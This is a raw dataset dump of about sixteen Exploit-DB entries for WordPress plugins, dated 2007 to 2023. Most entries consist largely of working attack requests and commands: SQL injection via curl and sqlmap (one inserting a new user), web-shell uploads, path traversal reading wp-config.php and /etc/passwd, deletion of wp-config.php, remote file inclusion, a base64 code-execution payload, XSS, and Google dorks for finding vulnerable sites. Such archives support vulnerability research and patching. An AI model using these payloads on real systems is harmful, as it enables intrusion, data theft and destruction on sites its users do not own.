deardaniel/secdata-raw huggingface dataset:
Exploit-DB #19187
Description: WordPress Plugin Automatic 2.0.3 - SQL Injection
Type: webapps
Platform: php
Date: 2012-06-16
Author: nick58

Exploit:
Title:
======
Wordpress Automatic Plugin v2.0.3 SQL Injection

Date:
=====
2012-06-15

Website:
===========
http://codecanyon.net/item/wordpress-automatic-plugin/1904470

Introduction:
=============
Wordpress automatic plugin posts quality targeted articles, Amazon Products, clickbank Products, Youtube Videos and feeds posts on auto-pilot. just install and leave, it will work 24/7* to blog for you . 

Exploit Details:
================
The vulnerability occurs in the csv.php file which does not require valid login credentials and can be used to execute SQL Queries

Using this cURL command a user can send this POST data which will create a new login:
$ curl --data q=INSERT INTO `wp_users` (`user_login`, `user_pass`, `user_email`) VALUES ('test', '123456', 'jblow@gmail.com') http://www.example.com/blog/wp-content/plugins/wp-automatic/inc/csv.php

Fix:
====
The author of this plugin has released a fix for this vulnerability and users are urged to upgrade to v2.0.4.
Exploit-DB #48770
Description: Wordpress Plugin Autoptimize 2.7.6 - Arbitrary File Upload (Authenticated)
Type: webapps
Platform: php
Date: 2020-08-27
Author: SunCSR Team

Exploit:
# Exploit Title: Wordpress Plugin Autoptimize 2.7.6 - Arbitrary File Upload (Authenticated)
# Date: 2020-08-24
# Software Link: https://wordpress.org/plugins/autoptimize/
# Author : SunCSR Team
# Version: v2.7.6
# Tested on Ubuntu 18.04 / Kali Linux
# Reference: https://wpvulndb.com/vulnerabilities/10372

Description :
-------------------------------------------------------------------

The ao_ccss_import AJAX call does not ensure that the file provided is a
legitimate Zip file, allowing high privilege users to upload arbitrary
files, such as PHP, leading to RCE.

[POC]

Step 1 :
POST /wordpress/wp-admin/admin-ajax.php HTTP/1.1
Host: pwnme
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:80.0) Gecko/20100101
Firefox/80.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer:
http://pwnme.me/wordpress/wp-admin/options-general.php?page=ao_critcss
X-Requested-With: XMLHttpRequest
Content-Type: multipart/form-data;
boundary=--------------------------[PII_REDACTED][PII_REDACTED]189813544
Content-Length: 685
Origin: http://pwnme
Connection: close
Cookie: autoptimize_feed=1;
wordpress_01c9c451f599e513a69d1e6bb6f8e273=admin%7C[PII_REDACTED]%7CiAGVovdBGV28Gk5pKstmbpGqYZA7Zbxq7lUoUBL0y6B%7Cc2f54fb4e357d2c591b7e5f53e6adb9531b0de5cc5fbc3cab3185f63917307cd;
wordpress_test_cookie=WP+Cookie+check;
wordpress_logged_in_01c9c451f599e513a69d1e6bb6f8e273=admin%7C[PII_REDACTED]%7CiAGVovdBGV28Gk5pKstmbpGqYZA7Zbxq7lUoUBL0y6B%7C409cbfa6f750ff5902273e879e79d9f746c038c35228c978ea9cc3525eb12602;
wp-settings-time-1=[PII_REDACTED]


----------------------------[PII_REDACTED][PII_REDACTED][PII_REDACTED]
Content-Disposition: form-data; name="file"; filename="shell.php"
Content-Type: application/zip

<?php Shell Content Here ! ?>
----------------------------[PII_REDACTED][PII_REDACTED][PII_REDACTED]
Content-Disposition: form-data; name="action"

ao_ccss_import
----------------------------[PII_REDACTED][PII_REDACTED][PII_REDACTED]
Content-Disposition: form-data; name="ao_ccss_import_nonce"

f25ca64f22
----------------------------[PII_REDACTED][PII_REDACTED][PII_REDACTED]--


[Response]

HTTP/1.1 200 OK
Server: nginx/1.14.0 (Ubuntu)
Date: Thu, 27 Aug 2020 08:21:08 GMT
Content-Type: text/html; charset=UTF-8
Connection: close
Access-Control-Allow-Origin: http://pwnme.me
Access-Control-Allow-Credentials: true
X-Robots-Tag: noindex
X-Content-Type-Options: nosniff
Expires: Wed, 11 Jan 1984 05:00:00 GMT
Cache-Control: no-cache, must-revalidate, max-age=0
X-Frame-Options: SAMEORIGIN
Referrer-Policy: strict-origin-when-cross-origin
Content-Length: 53

{"code":"200","msg":"Settings imported successfully"}


Step 2: Access to
http://victim//wordpress/wp-content/uploads/ao_ccss/shell.php


Recommendations: Update to version 2.7.7


Thank you very much!
Exploit-DB #45977
Description: WordPress Plugin AutoSuggest 0.24 - 'wpas_keys' SQL Injection
Type: webapps
Platform: php
Date: 2018-12-11
Author: Kaimi

Exploit:
# Exploit Title: WP AutoSuggest 0.24 - SQL Injection
# Date: 01-12-2018
# Software Link: https://wordpress.org/plugins/wp-autosuggest/
# Exploit Author: Kaimi
# Website: https://kaimi.io
# Version: 0.24
# Category: webapps

SQL Injection
File: autosuggest.php

Vulnerable code:
if (isset($_GET['wpas_keys'])) {
	$wpas_keys = $_GET['wpas_keys'];
}
...
$wpas_keys = str_replace(' ','%',$wpas_keys);
	$pageposts = $wpdb->get_results("SELECT * FROM $wpdb->posts WHERE (post_title LIKE '%$wpas_keys%') AND post_status = 'publish' ORDER BY post_date DESC");


Exploitation example:

sqlmap -u "http://URL/wp-content/plugins/wp-autosuggest/autosuggest.php?wpas_action=query&wpas_keys=1" --technique BT --dbms MYSQL --risk 3 --level 5 -p wpas_keys --tamper space2comment --sql-shell
Exploit-DB #44417
Description: WordPress Plugin Background Takeover < 4.1.4 - Directory Traversal
Type: webapps
Platform: php
Date: 2018-04-09
Author: Colette Chamberland

Exploit:
# Exploit Title: WP Background Takeover, Directory Traversal <= 4.1.4
# Google Dork: inurl:/plugins/wpsite-background-takeover
# Date: 2018-03-08
# Exploit Author: Colette Chamberland, Defiant, Inc.
# Vendor Homepage: https://99robots.com
# Software Link: https://99robots.com/products/wp-background-takeover-advertisements/
# Version: <= 4.1.4
# Tested on: Wordpress 4.9.x
# CVE : CVE-2018-9118

Description

Allows for an attacker to browse files via the download.php file:

http://target[.]com/wp-content/plugins/wpsite-background-takeover/exports/download.php?filename=../../../../wp-config.php
Exploit-DB #19524
Description: WordPress Plugin Backup 2.0.1 - Information Disclosure
Type: webapps
Platform: php
Date: 2012-07-02
Author: Stephan Knauss

Exploit:
# Exploit Title: WordPress Backup plugin exposes site data
# Google Dork: http://www.google.com/search?q=inurl:wp-content/backup.log*
# Date: 01-jul-2012
# Exploit Author: Stephan Knauss
# Vendor Homepage: http://wordpress.org/extend/plugins/backup/
# Software Link: http://downloads.wordpress.org/plugin/backup.2.0.1.zip
# Version: 2.0.1

About Plugin:
=============
Backup is a plugin that provides backup capabilities for WordPress. Backups are zip archives created locally and uploaded to a folder of your choosing on Google Drive.


Weakness:
=========
The default configuration exposes a logfile with filenames of the actual backups. The backup files are available for download once the name is extracted from this logfile. 

Depending on the settings this gives access to a copy of the WordPress database, wp-content, uploads, plugins or complete site.


Fix:
====
Local folder path setting should be set to a value that can not be guessed by default. Until a fix is available it is up to the user of the plugin to configure it accordingly.


Detection and Google Dork:
==========================
Blog is vulnerable if http://www.example.com/wp-content/backup/backup.log exists.
Usually the logfile is not indexed. Still possibe to match in rare occasions:
http://www.google.com/search?q=inurl:wp-content/backup.log*
or trace back vulnerable blogs from logfiles being posted
http://www.google.com/search?q="Attempting+to+create+archive"+"wp-content/backup/"


Relevance:
==========
Plugin is downloaded 15.000 times, with a download rate of currently 400 downloads a day.
Exploit-DB #50503
Description: WordPress Plugin Backup and Restore 1.0.3 - Arbitrary File Deletion
Type: webapps
Platform: php
Date: 2021-11-08
Author: Murat DEMİRCİ

Exploit:
# Exploit Title: WordPress Plugin Backup and Restore  1.0.3 - Arbitrary File Deletion
# Date: 11/07/2021
# Exploit Author: Murat DEMIRCI (@butterflyhunt3r)
# Vendor Homepage: https://www.miniorange.com/
# Software Link: https://wordpress.org/plugins/backup-and-restore-for-wp/
# Version: 1.0.3
# Tested on : Windows 10

#Poc:

----------------------------------REQUEST---------------------------------------

POST /wordpress/wp-admin/admin-ajax.php HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://localhost/wordpress/wp-admin/admin.php?page=mo_eb_backup_report
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 155
Origin: http://localhost
Connection: close
Cookie: wordpress_bbfa5b726c6b7a9cf3cda9370be3ee91=admin%7C[PII_REDACTED]%7C9VH5dtz6rmSefsnxLUWgFNF85FReGRWg61Nhbu95sJZ%7E82178aa467cd00f9cbcce03c6157fdcbf581a715d3cdc7a6b5c940dafe58fifd; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_bbfa5b726c6b7a9cf3cda9371ce3ee91=admin%7C[PII_REDACTED]%7C9VH5dtz6rmSefsnxLUZgFNF85FReGRWg61Vhau95sJZ%7C9ae26395803f7d17f75c62d98856f3249e72688d38a9d3dbb616a0e3c808c917; wp-settings-1=libraryContent%3Dbrowse%26mfold%3Do%26posts_list_mode%3Dlist; wp-settings-time-1=[PII_REDACTED]
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin

action=barfw_backup_ajax_redirect&call_type=delete_backup&file_name=wp-config.php&folder_name=C%3a%5cxampp%5chtdocs%5cwordpress%5c%5c&id=5&nonce=ee90968cce


----------------------------------------------------------------------------------



-------------------------------RESPONSE-------------------------------------------

HTTP/1.1 200 OK
Date: Sun, 07 Nov 2021 13:19:38 GMT
Server: Apache/2.4.48 (Win64) OpenSSL/1.1.1k PHP/8.0.7
X-Powered-By: PHP/8.0.7
Access-Control-Allow-Origin: http://localhost
Access-Control-Allow-Credentials: true
X-Robots-Tag: noindex
X-Content-Type-Options: nosniff
Expires: Wed, 11 Jan 1984 05:00:00 GMT
Cache-Control: no-cache, must-revalidate, max-age=0
X-Frame-Options: SAMEORIGIN
Referrer-Policy: strict-origin-when-cross-origin
Content-Length: 9
Connection: close
Content-Type: application/json; charset=UTF-8

"success"

----------------------------------------------------------------------------------
Exploit-DB #51445
Description: WordPress Plugin Backup Migration 1.2.8 - Unauthenticated Database Backup
Type: webapps
Platform: php
Date: 2023-05-23
Author: Wadeek

Exploit:
# Exploit Title: WordPress Plugin Backup Migration 1.2.8 - Unauthenticated Database Backup
# Google Dork: intitle:("Index of /wp-content/plugins/backup-backup") AND inurl:("plugins/backup-backup/")
# Date: 2023-05-10
# Exploit Author: Wadeek
# Vendor Homepage: https://backupbliss.com/
# Software Link: https://downloads.wordpress.org/plugin/backup-backup.1.2.8.zip
# Version: 1.2.8
# Tested on: WordPress 6.2

1) Get the version of the plugin.

=> GET /wp-content/plugins/backup-backup/readme.txt
--------------------------------------------------------------------------
Stable tag: 1.2.8
--------------------------------------------------------------------------

2) Get the name of the backup directory.

=> GET /wp-content/backup-migration/config.json
--------------------------------------------------------------------------
{
[...],
"STORAGE::LOCAL::PATH":"[...]/wp-content/backup-migration-xXxXxxXxXx",
[...],
"OTHER:EMAIL":"admin@email.com"
}
--------------------------------------------------------------------------

3) Get the name of the archive containing the backups.

=> GET /wp-content/backup-migration/complete_logs.log
--------------------------------------------------------------------------
BM_Backup_YYYY-MM-DD_00_00_00_xXxXxxXxXxxXxXxx.zip
--------------------------------------------------------------------------

4) Build the path for the download.

=> GET /wp-content/backup-migration-xXxXxxXxXx/backups/BM_Backup_YYYY-MM-DD_00_00_00_xXxXxxXxXxxXxXxx.zip
Exploit-DB #4593
Description: WordPress Plugin BackUpWordPress 0.4.2b - Remote File Inclusion
Type: webapps
Platform: php
Date: 2007-11-01
Author: S.W.A.T.

Exploit:
--------------------------------- [ Xmors Underground Team ! ] --------------------------------------

Title : BackUpWordPress <= 0.4.2b Remote File Inclusion Vulnerability

--------------------------------------------------------------------------------
#Author: S.W.A.T.


#cont@ct: svvateam@yahoo.com

--------------------------------------------------------------------------------


------------------------- -------------------------------------------------------

Application :  BackUpWordPress 0.4.2b

Download    :  http://wordpress.designpraxis.at/download/backupwordpress.zip

--------------------------------------------------------------------------------
Vuln :

require_once $GLOBALS['bkpwp_plugin_path']."PEAR.php";

--------------------------------------------------------------------------------

Exploit:

http://[target]/_path]/plugins/BackUp/Archive.php?bkpwp_plugin_path=Shl3?

http://[target]/_path]/plugins/BackUp/Archive/Predicate.php?bkpwp_plugin_path=Shl3?

http://[target]/_path]/plugins/BackUp/Archive/Writer.php?bkpwp_plugin_path=Shl3?

http://[target]/_path]/plugins/BackUp/Archive/Reader.php?bkpwp_plugin_path=Shl3?

& other Files & Folders In The [Archive] Folder

--------------------------------------------------------------------------------

Dork:

"inurl:/plugins/BackUp"

--------------------------------------------------------------------------------



--------------------------------- [http://www.xmors.com ] --------------------------------------

# milw0rm.com [2007-11-01]
Exploit-DB #17056
Description: WordPress Plugin BackWPup - Remote Code Execution / Local Code Execution
Type: webapps
Platform: php
Date: 2011-03-28
Author: Sense of Security

Exploit:
Sense of Security - Security Advisory - SOS-11-003

Release Date.                  28-Mar-2011
Last Update.                   -
Vendor Notification Date.      25-Mar-2010
Product.                       Wordpress Plugin BackWPup
Platform.                      Independent
Affected versions.             1.6.1 (verified), possibly others
Severity Rating.               High
Impact.                        System Access
Attack Vector.                 Remote without authentication
Solution Status.               Upgrade to version 1.7.1
CVE reference.                 Not yet assigned

Details.
A vulnerability has been discovered in the Wordpress plugin BackWPup 
1.6.1 which can be exploited to execute local or remote code on the web 
server. The Input passed to the component "wp_xml_export.php" via the 
"wpabs" variable allows the inclusion and execution of local or remote 
PHP files as long as a "_nonce" value is known. The "_nonce" value 
relies on a static constant which is not defined in the script meaning 
that it defaults to the value "822728c8d9".

Proof of Concept.
wp_xml_export.php?_nonce=822728c8d9&wpabs=data://text/plain;base64,PGZ
vcm0gYWN0aW9uPSI8Pz0kX1NFUlZFUlsnUkVRVUVTVF9VUkknXT8%2bIiBtZX           
Rob2Q9IlBPU1QiPjxpbnB1dCB0eXBlPSJ0ZXh0IiBuYW1lPSJ4Ij48aW5wdXQgdHlwZT0   
ic3VibWl0IiB2YWx1ZT0iY21kIj48L2Zvcm0%2bPHByZT48PyAKZWNobyBgeyRfUE9TVF
sneCddfWA7ID8%2bPC9wcmU%2bPD8gZGllKCk7ID8%2bCgo%3d

Solution.
Upgrade to version 1.7.1

Discovered by.
Phil Taylor - Sense of Security Labs.

Sense of Security Pty Ltd
Level 8, 66 King St
Sydney NSW 2000
AUSTRALIA
T: +61 (0)2 9290 4444
F: +61 (0)2 9290 4455
W: http://www.senseofsecurity.com.au
E: info@senseofsecurity.com.au
Twitter: @ITsecurityAU

The latest version of this advisory can be found at:
http://www.senseofsecurity.com.au/advisories/SOS-11-003.pdf

Other Sense of Security advisories can be found at:
http://www.senseofsecurity.com.au/research/it-security-advisories.php
Exploit-DB #35400
Description: WordPress Plugin BackWPup 1.4 - Multiple Information Disclosure Vulnerabilities
Type: webapps
Platform: php
Date: 2011-02-28
Author: Danilo Massa

Exploit:
source: https://www.securityfocus.com/bid/46610/info

The BackWPup plugin for WordPress is prone to multiple information-disclosure vulnerabilities because it fails to properly sanitize user-supplied input.

Attackers can exploit these issues to retrieve the contents of an arbitrary file. Information obtained may aid in launching further attacks. 

http://www.example.com/wp-content/plugins/backwpup/app/options-runnow-iframe.php?wpabs=/etc/passwd%00&jobid=1

http://www.example.com/wp-content/plugins/backwpup/app/options-view_log-iframe.php?wpabs=/etc/passwd%00&logfile=/etc/passwd
Exploit-DB #46061
Description: WordPress Plugin Baggage Freight Shipping Australia 0.1.0 - Arbitrary File Upload
Type: webapps
Platform: php
Date: 2018-12-27
Author: Kaimi

Exploit:
# Exploit Title: WordPress Plugin Baggage Freight Shipping Australia 0.1.0 - Arbitrary File Upload
# Date: 2018-12-24
# Software Link: https://wordpress.org/plugins/baggage-freight/
# Exploit Author: Kaimi
# Website: https://kaimi.io
# Version: 0.1.0
# Category: webapps

# Unrestricted file upload for unahtorized user in package info upload 
# process allowing arbitrary extension.

File: upload-package.php

Vulnerable code:
if($_POST["submit"])
{
    if ($_FILES["file"])
    {
        $uploadpath = "../wp-content/plugins/baggage_shipping/upload/".time()."_".$_FILES["file"]["name"];

        move_uploaded_file($_FILES["file"]["tmp_name"],$uploadpath);

# Exploitation example:

POST /wp-content/plugins/baggage-freight/upload-package.php HTTP/1.1
Host: example.com
Content-Type: multipart/form-data; boundary=--------------------------[PII_REDACTED][PII_REDACTED]501079851
...
----------------------------[PII_REDACTED][PII_REDACTED]501079851
Content-Disposition: form-data; name="submit"

1
----------------------------[PII_REDACTED][PII_REDACTED]501079851
Content-Disposition: form-data; name="file"; filename="file.php"
Content-Type: audio/wav

<?php phpinfo();
----------------------------[PII_REDACTED][PII_REDACTED]501079851--

# Uploaded file will be located at /wp-content/plugins/baggage_shipping/upload/{timestamp}_info.php.
Exploit-DB #17764
Description: WordPress Plugin Bannerize 2.8.6 - SQL Injection
Type: webapps
Platform: php
Date: 2011-09-01
Author: Miroslav Stampar

Exploit:
# Exploit Title: WordPress WP Bannerize plugin <= 2.8.6 SQL Injection Vulnerability
# Date: 2011-08-31
# Author: Miroslav Stampar (miroslav.stampar(at)gmail.com @stamparm)
# Software Link: http://downloads.wordpress.org/plugin/wp-bannerize.zip
# Version: 2.8.6 (tested)

---
PoC
---
curl --data "id=-1 AND 1=IF(2>1,BENCHMARK(5000000,MD5(CHAR(115,113,108,109,97,112))),0)-- " -H "X-Requested-With:XMLHttpRequest" http://www.site.com/wp-content/plugins/wp-bannerize/ajax_clickcounter.php

---------------
Vulnerable code
---------------
if ( @isset($_SERVER['HTTP_X_REQUESTED_WITH']) ) {
    ...
    $sql = "UPDATE `" . $wpdb->prefix ."bannerize_b` SET `clickcount` = `clickcount`+1 WHERE id = " . $_POST['id'];
    $result = mysql_query($sql);
Exploit-DB #17906
Description: WordPress Plugin Bannerize 2.8.7 - SQL Injection
Type: webapps
Platform: php
Date: 2011-09-30
Author: Miroslav Stampar

Exploit:
# Exploit Title: WordPress WP Bannerize plugin <= 2.8.7 SQL Injection Vulnerability
# Date: 2011-09-22
# Author: Miroslav Stampar (miroslav.stampar(at)gmail.com @stamparm)
# Software Link: http://downloads.wordpress.org/plugin/wp-bannerize.zip
# Version: 2.8.7 (tested)

---------------
PoC (POST data)
---------------
http://www.site.com/wp-content/plugins/wp-bannerize/ajax_sorter.php
 limit=1&offset=1&item[]=-1 AND 1=IF(2>1,BENCHMARK(5000000,MD5(CHAR(115,113,108,109,97,112))),0)

e.g.
curl --data "limit=1&offset=1&item[]=-1 AND 1=IF(2>1,BENCHMARK(5000000,MD5(CHAR(115,113,108,109,97,112))),0)" -H "X-Requested-With:XMLHttpRequest" http://www.site.com/wp-content/plugins/wp-bannerize/ajax_sorter.php

---------------
Vulnerable code
---------------
if ( @isset($_SERVER['HTTP_X_REQUESTED_WITH']) ) {
    ...
    $limit = intval($_POST['limit']);
    $page_offset = (intval($_POST['offset']) - 1) * $limit;

    foreach($_POST["item"] as $key => $value){
        $sql = sprintf("UPDATE `%s` SET `sorter` = %s WHERE id = %s", $wpdb->prefix ."bannerize_b", (intval($key)+$page_offset ), $value );
        $result = mysql_query($sql);
    }
}
Exploit-DB #38410
Description: WordPress Plugin Banners Lite - 'wpbanners_show.php' HTML Injection
Type: webapps
Platform: php
Date: 2013-03-25
Author: Fernando A. Lagos B

Exploit:
source: https://www.securityfocus.com/bid/58671/info

The Banners Lite plugin for WordPress is prone to an HTML-injection vulnerability because it fails to properly sanitize user-supplied input.

Successful exploits will allow attacker-supplied HTML and script code to run in the context of the affected browser, potentially allowing the attacker to steal cookie-based authentication credentials or to control how the site is rendered to the user. Other attacks are also possible. 

http://www.example.com/wordpress/wp-content/plugins/wp-banners-lite/wpbanners_show.php?id=1&cid=a_<script>alert(/XSSProof-of-Concept/)</script>
Exploit-DB #22396
Description: WordPress Plugin bbPress - Multiple Vulnerabilities
Type: webapps
Platform: php
Date: 2012-11-01
Author: Dark-Puzzle

Exploit:
# Souhail Hammou - Independant Security Researcher & Penetration Tester .
# Facebook : www.facebook.com/dark.puzzle.sec
# Website : www.dark-puzzle.com
# Youtube : http://www.youtube.com/user/mariotrey
# E-mail   : dark-puzzle@live.fr
# Greetings to all moroccan researchers and white hats .
====================================================
# Exploit Title: Wordpress plugins - bbpress Multiple Vulnerabilities
# Author: Dark-Puzzle (Souhail Hammou)
# OSVDB ID : 86400 & 86399 .
# Vendor Website : www.bbpress.ru  /  www.bbpress.com
# Risk : Critical
# Version: All Versions
# Google Dork : N/A
# Category: Webapps/0day
# Tested on: Windows Xp Sp2 , Backtrack 5 R3 .
----------------------------------------------------
I - SQL Injection Vulnerability :
----------------------------------------------------
bbpress plugin is prone to an SQL injection Vulnerability .
In cases when you face a valid string column problem try to change syntax or instead spaces add /**/ .

Note: Automated injection can be more effective in this case.

Example : 

http://www.example.com/wp-content/plugins/bbpress/forum.php?id=1&page=[Inject here] 

---------------------------------------------------
II - Full Path Disclosure Vulnerability :
---------------------------------------------------

The Full Path Disclosure vulnerability in bbpress is via Array .

Example :

www.example.com/path/bbpress/topic.php?id[]=12&replies=3

Error : Warning: urlencode() expects parameter 1 to be string, array given in /Full/Path/Here on line 786

---------------------------------------------------
III - Directory Listing Vulnerability :
---------------------------------------------------

www.example.com/PATH/bbpress/bb-templates/kakumei/
www.example.com/PATH/bbpress/bb-templates/kakumei-blue/

#Dark-Puzzle